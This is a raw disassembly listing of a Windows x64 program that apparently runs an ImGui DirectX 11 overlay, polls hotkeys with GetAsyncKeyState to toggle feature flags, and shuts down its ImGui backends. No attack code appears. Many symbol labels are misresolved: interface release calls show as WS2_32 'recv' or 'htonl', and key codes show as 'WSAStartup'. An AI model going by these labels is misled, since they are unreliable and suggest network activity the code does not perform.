xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14005eabd
mov rbx, r12
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x140]
or dword [rdi + 4], 8
lea rdx, [0x14016f210]
mov qword [rbp + 0x140], r12
mov rcx, rsi
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x4a0], r12
mov rax, qword [rsi]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x14005eb61
mov rcx, qword [rbp + 0x140]
lea r8, [rbp + 0x148]
lea rdx, [0x14016f220]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14005eb61
mov rcx, qword [rbp + 0x148]
lea r8, [rbp + 0x4a0]
lea rdx, [0x14016f230]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14005eb61
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x4a0]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14005eb73
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14005eb85
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
movss xmm14, dword [0x1401756a8]
xor bl, bl
movss xmm9, dword [0x1401755b4]
xorps xmm10, xmm10
movss xmm8, dword [0x14017562c]
movss xmm13, dword [0x14017548c]
movss xmm7, dword [0x140175598]
movss xmm11, dword [0x1401755c0]
movss xmm15, dword [0x140175510]
mov dword [rbp - 0x2c], ebx
nop
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0xd80]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005ec51
nop
lea rcx, [rbp + 0xd80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xd80]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xd88], 0x12
lea rcx, [rbp + 0xd80]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005ec00
mov dword [rbp - 0x2c], ebx
test bl, bl
jne 0x140064e18
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x5a
and al, 1
mov dword [rsp + 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov eax, dword [0x14020c350]
movzx r11d, byte [0x14020c32c]
movzx edx, byte [0x14020c40e]
movzx ecx, byte [0x14020c3bc]
movzx r8d, byte [0x14020c370]
cmp eax, 1
jne 0x14005ed75
test bl, bl
je 0x14005ef04
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
test r11b, r11b
jne 0x14005ef0e
cmp byte [0x14020c402], r11b
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 2
jne 0x14005eda7
test dil, dil
je 0x14005ef04
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
test dl, dl
jne 0x14005ef0e
cmp byte [0x14020c402], dl
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 3
jne 0x14005edd9
test sil, sil
je 0x14005ef04
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
test cl, cl
jne 0x14005ef0e
cmp byte [0x14020c402], cl
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 4
jne 0x14005ee0d
test r14b, r14b
je 0x14005ef04
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
test r8b, r8b
jne 0x14005ef0e
cmp byte [0x14020c402], r8b
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 5
jne 0x14005ee45
test r15b, r15b
je 0x14005ef04
cmp byte [0x14020c3bf], 0
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
jne 0x14005ef0e
cmp byte [0x14020c402], 0
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 6
jne 0x14005ee7d
test r12b, r12b
je 0x14005ef04
cmp byte [0x14020c374], 0
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
jne 0x14005ef0e
cmp byte [0x14020c402], 0
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 7
jne 0x14005eeaa
test r13b, r13b
je 0x14005ef04
cmp byte [0x14020c32e], 0
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
jne 0x14005ef0e
cmp byte [0x14020c402], 0
sete byte [0x14020c402]
jmp 0x14005ef0e
cmp eax, 8
jne 0x14005eed7
mov r9d, dword [rsp + 0x60]
test r9b, r9b
je 0x14005ef09
cmp byte [0x14020c361], 0
mov r10d, dword [rsp + 0x70]
jne 0x14005ef0e
cmp byte [0x14020c402], 0
sete byte [0x14020c402]
jmp 0x14005ef0e
mov r10d, dword [rsp + 0x70]
cmp eax, 9
jne 0x14005ef29
test r10b, r10b
je 0x14005ef29
cmp byte [0x14020c3bd], 0
mov r9d, dword [rsp + 0x60]
jne 0x14005ef0e
cmp byte [0x14020c402], 0
sete byte [0x14020c402]
jmp 0x14005ef0e
mov r9d, dword [rsp + 0x60]
mov r10d, dword [rsp + 0x70]
mov eax, dword [0x140242188]
cmp eax, 1
jne 0x14005ef30
test bl, bl
je 0x14005efd0
test r11b, r11b
jmp 0x14005efc0
mov r9d, dword [rsp + 0x60]
jmp 0x14005ef0e
cmp eax, 2
jne 0x14005ef42
test dil, dil
je 0x14005efd0
test dl, dl
jmp 0x14005efc0
cmp eax, 3
jne 0x14005ef54
test sil, sil
je 0x14005efd0
test cl, cl
jmp 0x14005efc0
cmp eax, 4
jne 0x14005ef63
test r14b, r14b
je 0x14005efd0
test r8b, r8b
jmp 0x14005efc0
cmp eax, 5
jne 0x14005ef76
test r15b, r15b
je 0x14005efd0
cmp byte [0x14020c3bf], 0
jmp 0x14005efc0
cmp eax, 6
jne 0x14005ef89
test r12b, r12b
je 0x14005efd0
cmp byte [0x14020c374], 0
jmp 0x14005efc0
cmp eax, 7
jne 0x14005ef9c
test r13b, r13b
je 0x14005efd0
cmp byte [0x14020c32e], 0
jmp 0x14005efc0
cmp eax, 8
jne 0x14005efaf
test r9b, r9b
je 0x14005efd0
cmp byte [0x14020c361], 0
jmp 0x14005efc0
cmp eax, 9
jne 0x14005efd0
test r10b, r10b
je 0x14005efd0
cmp byte [0x14020c3bd], 0
jne 0x14005efd0
cmp byte [0x14020c405], 0
sete byte [0x14020c405]
mov eax, dword [0x14020c36c]
cmp eax, 1
jne 0x14005efeb
test bl, bl
je 0x14005f08b
test r11b, r11b
jmp 0x14005f07b
cmp eax, 2
jne 0x14005effd
test dil, dil
je 0x14005f08b
test dl, dl
jmp 0x14005f07b
cmp eax, 3
jne 0x14005f00f
test sil, sil
je 0x14005f08b
test cl, cl
jmp 0x14005f07b
cmp eax, 4
jne 0x14005f01e
test r14b, r14b
je 0x14005f08b
test r8b, r8b
jmp 0x14005f07b
cmp eax, 5
jne 0x14005f031
test r15b, r15b
je 0x14005f08b
cmp byte [0x14020c3bf], 0
jmp 0x14005f07b
cmp eax, 6
jne 0x14005f044
test r12b, r12b
je 0x14005f08b
cmp byte [0x14020c374], 0
jmp 0x14005f07b
cmp eax, 7
jne 0x14005f057
test r13b, r13b
je 0x14005f08b
cmp byte [0x14020c32e], 0
jmp 0x14005f07b
cmp eax, 8
jne 0x14005f06a
test r9b, r9b
je 0x14005f08b
cmp byte [0x14020c361], 0
jmp 0x14005f07b
cmp eax, 9
jne 0x14005f08b
test r10b, r10b
je 0x14005f08b
cmp byte [0x14020c3bd], 0
jne 0x14005f08b
cmp byte [0x14020c3ff], 0
sete byte [0x14020c3ff]
mov eax, dword [0x14020c348]
cmp eax, 1
jne 0x14005f0a6
test bl, bl
je 0x14005f146
test r11b, r11b
jmp 0x14005f136
cmp eax, 2
jne 0x14005f0b8
test dil, dil
je 0x14005f146
test dl, dl
jmp 0x14005f136
cmp eax, 3
jne 0x14005f0ca
test sil, sil
je 0x14005f146
test cl, cl
jmp 0x14005f136
cmp eax, 4
jne 0x14005f0d9
test r14b, r14b
je 0x14005f146
test r8b, r8b
jmp 0x14005f136
cmp eax, 5
jne 0x14005f0ec
test r15b, r15b
je 0x14005f146
cmp byte [0x14020c3bf], 0
jmp 0x14005f136
cmp eax, 6
jne 0x14005f0ff
test r12b, r12b
je 0x14005f146
cmp byte [0x14020c374], 0
jmp 0x14005f136
cmp eax, 7
jne 0x14005f112
test r13b, r13b
je 0x14005f146
cmp byte [0x14020c32e], 0
jmp 0x14005f136
cmp eax, 8
jne 0x14005f125
test r9b, r9b
je 0x14005f146
cmp byte [0x14020c361], 0
jmp 0x14005f136
cmp eax, 9
jne 0x14005f146
test r10b, r10b
je 0x14005f146
cmp byte [0x14020c3bd], 0
jne 0x14005f146
cmp byte [0x14020c403], 0
sete byte [0x14020c403]
mov eax, dword [0x14020c3b8]
cmp eax, 1
jne 0x14005f161
test bl, bl
je 0x14005f201
test r11b, r11b
jmp 0x14005f1f1
cmp eax, 2
jne 0x14005f173
test dil, dil
je 0x14005f201
test dl, dl
jmp 0x14005f1f1
cmp eax, 3
jne 0x14005f185
test sil, sil
je 0x14005f201
test cl, cl
jmp 0x14005f1f1
cmp eax, 4
jne 0x14005f194
test r14b, r14b
je 0x14005f201
test r8b, r8b
jmp 0x14005f1f1
cmp eax, 5
jne 0x14005f1a7
test r15b, r15b
je 0x14005f201
cmp byte [0x14020c3bf], 0
jmp 0x14005f1f1
cmp eax, 6
jne 0x14005f1ba
test r12b, r12b
je 0x14005f201
cmp byte [0x14020c374], 0
jmp 0x14005f1f1
cmp eax, 7
jne 0x14005f1cd
test r13b, r13b
je 0x14005f201
cmp byte [0x14020c32e], 0
jmp 0x14005f1f1
cmp eax, 8
jne 0x14005f1e0
test r9b, r9b
je 0x14005f201
cmp byte [0x14020c361], 0
jmp 0x14005f1f1
cmp eax, 9
jne 0x14005f201
test r10b, r10b
je 0x14005f201
cmp byte [0x14020c3bd], 0
jne 0x14005f201
cmp byte [0x14020c401], 0
sete byte [0x14020c401]
mov eax, dword [0x14020c364]
cmp eax, 1
jne 0x14005f21c
test bl, bl
je 0x14005f2bc
test r11b, r11b
jmp 0x14005f2ac
cmp eax, 2
jne 0x14005f22e
test dil, dil
je 0x14005f2bc
test dl, dl
jmp 0x14005f2ac
cmp eax, 3
jne 0x14005f240
test sil, sil
je 0x14005f2bc
test cl, cl
jmp 0x14005f2ac
cmp eax, 4
jne 0x14005f24f
test r14b, r14b
je 0x14005f2bc
test r8b, r8b
jmp 0x14005f2ac
cmp eax, 5
jne 0x14005f262
test r15b, r15b
je 0x14005f2bc
cmp byte [0x14020c3bf], 0
jmp 0x14005f2ac
cmp eax, 6
jne 0x14005f275
test r12b, r12b
je 0x14005f2bc
cmp byte [0x14020c374], 0
jmp 0x14005f2ac
cmp eax, 7
jne 0x14005f288
test r13b, r13b
je 0x14005f2bc
cmp byte [0x14020c32e], 0
jmp 0x14005f2ac
cmp eax, 8
jne 0x14005f29b
test r9b, r9b
je 0x14005f2bc
cmp byte [0x14020c361], 0
jmp 0x14005f2ac
cmp eax, 9
jne 0x14005f2bc
test r10b, r10b
je 0x14005f2bc
cmp byte [0x14020c3bd], 0
jne 0x14005f2bc
cmp byte [0x14020c406], 0
sete byte [0x14020c406]
mov eax, dword [0x14020c354]
cmp eax, 1
jne 0x14005f2e2
test bl, bl
je 0x14005f346
test r11b, r11b
jne 0x14005f346
cmp byte [0x14020c3d6], 0
sete al
mov byte [0x14020c3d6], al
jmp 0x14005f34d
cmp eax, 2
jne 0x14005f2f0
test dil, dil
je 0x14005f346
test dl, dl
jmp 0x14005f2ce
cmp eax, 3
jne 0x14005f2fe
test sil, sil
je 0x14005f346
test cl, cl
jmp 0x14005f2ce
cmp eax, 4
jne 0x14005f30d
test r14b, r14b
je 0x14005f346
test r8b, r8b
jmp 0x14005f2ce
cmp eax, 5
jne 0x14005f320
test r15b, r15b
je 0x14005f346
cmp byte [0x14020c3bf], 0
jmp 0x14005f2ce
cmp eax, 6
jne 0x14005f333
test r12b, r12b
je 0x14005f346
cmp byte [0x14020c374], 0
jmp 0x14005f2ce
cmp eax, 7
jne 0x14005f346
test r13b, r13b
je 0x14005f346
cmp byte [0x14020c32e], 0
jmp 0x14005f2ce
movzx eax, byte [0x14020c3d6]
mov ecx, dword [0x14020c368]
cmp ecx, 8
jne 0x14005f366
test r9b, r9b
je 0x14005f382
cmp byte [0x14020c361], 0
jmp 0x14005f377
cmp ecx, 9
jne 0x14005f382
test r10b, r10b
je 0x14005f382
cmp byte [0x14020c3bd], 0
jne 0x14005f382
test al, al
sete byte [0x14020c3d6]
mov r8d, dword [0x14020c3ec]
cmp r8d, 1
jne 0x14005f3b5
test bl, bl
je 0x14005f464
test r11b, r11b
jne 0x14005f464
cmp byte [0x14020c3fd], 0
sete dl
mov byte [0x14020c3fd], dl
jmp 0x14005f46b
cmp r8d, 2
jne 0x14005f3c8
test dil, dil
je 0x14005f464
test dl, dl
jmp 0x14005f39a
cmp r8d, 3
jne 0x14005f3e0
test sil, sil
je 0x14005f464
cmp byte [0x14020c3bc], 0
jmp 0x14005f39a
cmp r8d, 4
jne 0x14005f3f4
test r14b, r14b
je 0x14005f464
cmp byte [0x14020c370], 0
jmp 0x14005f39a
cmp r8d, 5
jne 0x14005f408
test r15b, r15b
je 0x14005f464
cmp byte [0x14020c3bf], 0
jmp 0x14005f39a
cmp r8d, 6
jne 0x14005f41f
test r12b, r12b
je 0x14005f464
cmp byte [0x14020c374], 0
jmp 0x14005f39a
cmp r8d, 7
jne 0x14005f436
test r13b, r13b
je 0x14005f464
cmp byte [0x14020c32e], 0
jmp 0x14005f39a
cmp r8d, 8
jne 0x14005f44d
test r9b, r9b
je 0x14005f464
cmp byte [0x14020c361], 0
jmp 0x14005f39a
cmp r8d, 9
jne 0x14005f464
test r10b, r10b
je 0x14005f464
cmp byte [0x14020c3bd], 0
jmp 0x14005f39a
movzx edx, byte [0x14020c3fd]
cmp ecx, 1
jne 0x14005f49b
test bl, bl
je 0x14005f61c
movzx ecx, byte [0x14020c40e]
test r11b, r11b
jne 0x14005f623
cmp byte [0x14020c3d7], r11b
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 2
jne 0x14005f4ca
movzx ecx, byte [0x14020c40e]
test dil, dil
je 0x14005f623
test cl, cl
jne 0x14005f623
cmp byte [0x14020c3d7], cl
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 3
jne 0x14005f4ff
test sil, sil
je 0x14005f61c
cmp byte [0x14020c3bc], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 4
jne 0x14005f534
test r14b, r14b
je 0x14005f61c
cmp byte [0x14020c370], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 5
jne 0x14005f569
test r15b, r15b
je 0x14005f61c
cmp byte [0x14020c3bf], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 6
jne 0x14005f59e
test r12b, r12b
je 0x14005f61c
cmp byte [0x14020c374], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 7
jne 0x14005f5c8
test r13b, r13b
je 0x14005f61c
cmp byte [0x14020c32e], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 8
jne 0x14005f5f2
test r9b, r9b
je 0x14005f61c
cmp byte [0x14020c361], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
cmp ecx, 9
jne 0x14005f61c
test r10b, r10b
je 0x14005f61c
cmp byte [0x14020c3bd], 0
movzx ecx, byte [0x14020c40e]
jne 0x14005f623
cmp byte [0x14020c3d7], 0
sete byte [0x14020c3d7]
jmp 0x14005f623
movzx ecx, byte [0x14020c40e]
mov eax, dword [0x14020c358]
cmp eax, 1
jne 0x14005f63e
test bl, bl
je 0x14005f6ea
test r11b, r11b
jmp 0x14005f6da
cmp eax, 2
jne 0x14005f653
test dil, dil
je 0x14005f6ea
test cl, cl
jmp 0x14005f6da
cmp eax, 3
jne 0x14005f66a
test sil, sil
je 0x14005f6ea
cmp byte [0x14020c3bc], 0
jmp 0x14005f6da
cmp eax, 4
jne 0x14005f67d
test r14b, r14b
je 0x14005f6ea
cmp byte [0x14020c370], 0
jmp 0x14005f6da
cmp eax, 5
jne 0x14005f690
test r15b, r15b
je 0x14005f6ea
cmp byte [0x14020c3bf], 0
jmp 0x14005f6da
cmp eax, 6
jne 0x14005f6a3
test r12b, r12b
je 0x14005f6ea
cmp eax, 7
jne 0x14005f6b6
jne 0x14005f6ea
mov eax, dword [0x14020c410]
cmp eax, 1
jne 0x14005f705
mov rbx, qword [0x14020c330]
test rbx, rbx
je 0x140064e32
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140064e56
jmp 0x140064e35
mov rdi, r12
mov r8d, 0x241
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rar_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14020c330]
test rbx, rbx
jne 0x140064e7c
mov r8d, 0x1033
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14020c330]
call fcn.140046f00
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140064e90
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140064e9e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140064ead
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x14020c330]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
and dword [rbx + 0xc], 0xfffffff7
test rax, rax
je 0x140064ed1
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x14020c330]
test rax, rax
je 0x140064ef4
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140064f18
jmp 0x140064ef7
mov rbx, r12
mov r8d, 0xb7
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rar_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14020c330]
test rax, rax
jne 0x140064f3e
mov r8d, 0x1033
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14020c330]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x140064f58
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x14020c330]
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x90], r12
and dword [rdi + 4], 0xfffffff8
test rax, rax
je 0x140064f75
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x14020c330]
mov qword [0x14020c330], rbx
call fcn.140006c50
mov qword [0x14020c330], r12
test rbx, rbx
je 0x140064fc0
mov rcx, rbx
call fcn.1400219e0
mov rax, qword [0x14020c330]
test rax, rax
je 0x140064fb7
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140065160
mov rcx, qword [0x14020c3c0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14005e114
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x5b8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3